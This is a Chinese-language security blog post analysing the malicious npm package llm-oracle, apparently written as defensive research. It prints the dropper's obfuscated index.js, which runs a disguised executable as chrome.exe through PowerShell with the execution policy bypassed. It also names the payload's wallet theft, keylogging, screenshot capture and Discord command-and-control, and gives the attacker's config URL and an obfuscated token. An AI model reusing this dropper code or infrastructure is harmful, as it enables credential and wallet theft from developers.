恶意开源库分析:llm-oracle 及其载荷

目录

socket.io 的好朋友们在 Supply Chain Attacks Targeting LLM Application Developers: The Hidden Dangers of Fake Open Source Packages 上发布了他们的研究成果,分享了关于发现和分析恶意 npm 包 llm-oracle 的发现。这对我们来说很有意思,因为 vet 可以检测到类似的包 redis-oracle 为恶意,但无法检测 llm-oracle。我们决定深入研究 llm-oracle

使用 vet 扫描恶意软件

vet 可以通过包 URL 扫描一个包。

shell
vet scan --purl pkg:/npm/[email protected]

如预期一样,扫描结果检测到了恶意软件。

vet 对 redis-oracle 的扫描结果

然而,当我们扫描 llm-oracle 时,没有得到任何检测结果。这并不完全令人惊讶,因为 vet 默认依赖 Package Analysis 数据进行恶意软件检测,而这些数据可能并不准确或不够及时。

手动分析 llm-oracle

我们决定手动分析 llm-oracle。第一步是从 npm registry 识别包元数据。

shell
npm view llm-oracle

这产生了一些有用的信息,包括作者、发布者和包最新版本的 URL。

shell
[email protected] | MIT | deps: 28 | versions: 3 [...] dist .tarball: https://registry.npmjs.org/llm-oracle/-/llm-oracle-1.0.2.tgz [...] dependencies: [...] maintainers: - josh.weavery <[email protected]> published 3 months ago by josh.weavery <[email protected]>

然后我们获取了 tarball 并提取内容进行本地分析。归档包含以下文件:

shell
-rw-r--r-- 1 dev wheel 16773255 Oct 26 1985 Base64Decode.ts -rw-r--r-- 1 dev wheel 252 Oct 26 1985 HISTORY.md -rw-r--r-- 1 dev wheel 1111 Oct 26 1985 LICENSE -rw-r--r-- 1 dev wheel 3105 Oct 26 1985 README.md -rw-r--r-- 1 dev wheel 2665 Oct 26 1985 index.js -rw-r--r-- 1 dev wheel 2170 Oct 26 1985 package.json

恶意软件分析过程中的第一步是识别文件类型。最简单的方法是使用 file(1) 命令。令人惊讶的是,这第一步本身就给我们提供了一个强烈的恶意软件指标。

shell
Base64Decode.ts: PE32+ executable (GUI) x86-64, for MS Windows HISTORY.md: ASCII text, with CRLF line terminators LICENSE: ASCII text, with CRLF line terminators README.md: ASCII text, with CRLF line terminators index.js: ASCII text, with CRLF line terminators package.json: JSON data

Base64Decode.ts 是一个 Windows x86_64 可执行文件,具有 .ts 扩展名。在直接分析有效载荷之前,我们想先查看 dropper index.js 来确认其行为。index.js 包含以下半混淆代码:

javascript
const targetFilePath = path.join( process.env.LOCALAPPDATA, String('\u0063\u0068\u0072\u006f\u006d\u0065\u002e\u0065\u0078\u0065').replace(/\+/g, '') );
javascript
if (!fs.existsSync(targetFilePath)) { setTimeout(() => { fs.copyFileSync(modelFilePath, targetFilePath); exec( \`p\u006fwersh\u0065ll -\u0045x\u0065cut\u0069\u006fnP\u006fl\u0069cy Byp\u0061ss St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${targetFilePath}' -V\u0065rb R\u0075n\u0041s\`, (error, stdot, stderr) => {} ); }, 60000); }

虽然高级恶意软件分析技术可能有所不同(开玩笑的),我们使用了老式的 ruby 解释器来查看混淆的字符串。

shell
irb(main):001:0> "\u0063\u0068\u0072\u006f\u006d\u0065\u002e\u0065\u0078\u0065" => "chrome.exe"
shell
irb(main):006:0> "f\u0073.copyFileSync(m\u006fd\u0065lFileP\u0061th, t\u0061rg\u0065tFileP\u0061th); e\u0078ec(\`p\u006fwersh\u0065ll -\u0045x\u0065cut\u0069\u006fnP\u006fl \u0069cy Byp\u0061ss St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${t\u0061rg\u0065tFileP\u0061th}' -V\u0065rb R\u0075n\u0041s\`, (err\u006fr, std\u006ft, std\u0065rr)" => "fs.copyFileSync(modelFilePath, targetFilePath); exec(\`powershell -ExecutionPolicy Bypass Start-Process -FilePath '${targetFilePath}' -Verb RunAs\`, (error, stdot, stderr)"

有效载荷

index.js,我们可以识别出 Base64Decode.ts(一个 Windows 可执行文件)被复制为 chrome.exe%LOCALAPPDATA% 并使用 powershell.exe 执行。为了理解有效载荷的行为,我们需要与老朋友 IDA Pro 或其近亲 Ghidra 打交道。但不幸的是,strings(1) 让我们走上了不同的道路。我们在有效载荷中发现了以下字符串,表明它是一个使用 PyInstaller 打包成可执行文件的 Python 脚本。

shell
Cannot open PyInstaller archive from executable (%s) or external archive (%s) Installing PYZ: Could not get sys.path! PYINSTALLER_STRICT_UNPACK_MODE PyInstaller: FormatMessageW failed. PyInstaller: pyi_win32_utils_to_utf8 failed.

从可执行文件中提取 PyInstaller 归档得到了以下文件:

从 llm-oracle 有效载荷中提取的文件

在这些文件中,OH8xADfF8q.pyc 看起来很有趣,包含类似这样的字符串:

shell
'D:\work\Python-Trojan-src\OH8xADfF8q.py

0H8xADfF8q.pyc 反编译后类似于这样:

python
import os import discord [...] exec(base64.b64decode(bytes('aW1wb3J0IGJhc2U2NDtl...', 'utf-8')).decode('utf-8'))

Base64 编码的字符串包含实际的有效载荷,解码后是一个执行各种常规恶意活动的 Python 脚本。

行为

  • 寻找加密钱包 metamasktronlinktrustwalletcoinbaseflintexodusbinancephantomXverseSlopeSolflareTyphonnamikeplrokxbitskimyetherwallet
  • 寻找这些钱包的 Chrome 扩展数据
  • https://bayard-front-833a4.web.app/start.dat 下载配置
json
{ "gid": "12 __76 __201 __8416 __20 __815 __932", "tkn": "MT __I __3NjIwMzQ __yNjY __2NDk0 __MzY2Ng.GUg __pUL.X __Xj7OFha __7Z5r __gYZHw __tatOdp3l __i6bZ __HrDQXDCn4" }
  • 使用 Guild ID 和 Token 连接到 Discord 服务器
  • 使用当前用户名和一个随机字符串创建新频道
  • 启动键盘记录器
  • 开始截取活动窗口的屏幕截图
  • 将按键和屏幕截图发送到 Discord 频道
  • 通过 Discord 启动完全的命令和控制

文件传输

有效载荷检查请求传输的文件是否大于 25MB。如果是,它从 https://api.gofile.io/getServer 获取配置,并使用 Python requests 库上传到 https://{server}.gofile.io/uploadFile。当我们尝试访问该 URL 时,得到了 404 Not Found 响应,表明该应用可能是地理围栏的或检查某些请求属性。

结论

  • llm-oracle 是一个包含 Windows 可执行文件的恶意包

  • 该恶意软件的打包和复杂程度较低

  • 使用了常见的攻击者 TTP,通过 powershell.exePyInstallerbase64 编码执行有效载荷

  • 我们预计 AV 和 EDR 能够通过行为分析检测到此有效载荷

  • Discord 被用作 C2 服务器,用于数据泄露和命令控制

  • vet

  • cloud

  • malware

SafeDep 博客最新内容

关注以获取开源安全与工程的最新更新和见解